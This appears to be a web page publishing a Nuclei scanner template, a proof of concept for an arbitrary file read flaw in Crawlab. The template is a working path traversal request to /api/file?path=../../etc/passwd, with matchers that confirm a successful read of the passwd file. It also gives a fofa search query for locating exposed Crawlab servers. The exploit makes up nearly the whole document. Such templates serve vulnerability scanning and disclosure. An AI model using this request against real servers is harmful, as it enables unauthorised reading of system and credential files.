crawlab-lfi: Crawlab - Arbitrary File Read

2025-08-01 Crawlab PoC Public

Description

Crawlab is vulnerable to arbitrary file read.

PoC

id: crawlab-lfi

info:
  name: Crawlab - Arbitrary File Read
  author: pussycat0x
  severity: high
  description: Crawlab is vulnerable to arbitrary file read.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Crawlab%20file%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  classification:
    cwe-id: CWE-23,CWE-73
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="Crawlab"
  tags: crawlab,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/file?path=../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "data\":\""
          - "error\":"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b627893f1d4a6faa336417e86b280c714bb40e2605bcbf85c609df28c66c31d3022100d97dcf4beefdc0f7f922cf4be898450ca59d90b2a9233b126b0667a898c4f3c2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities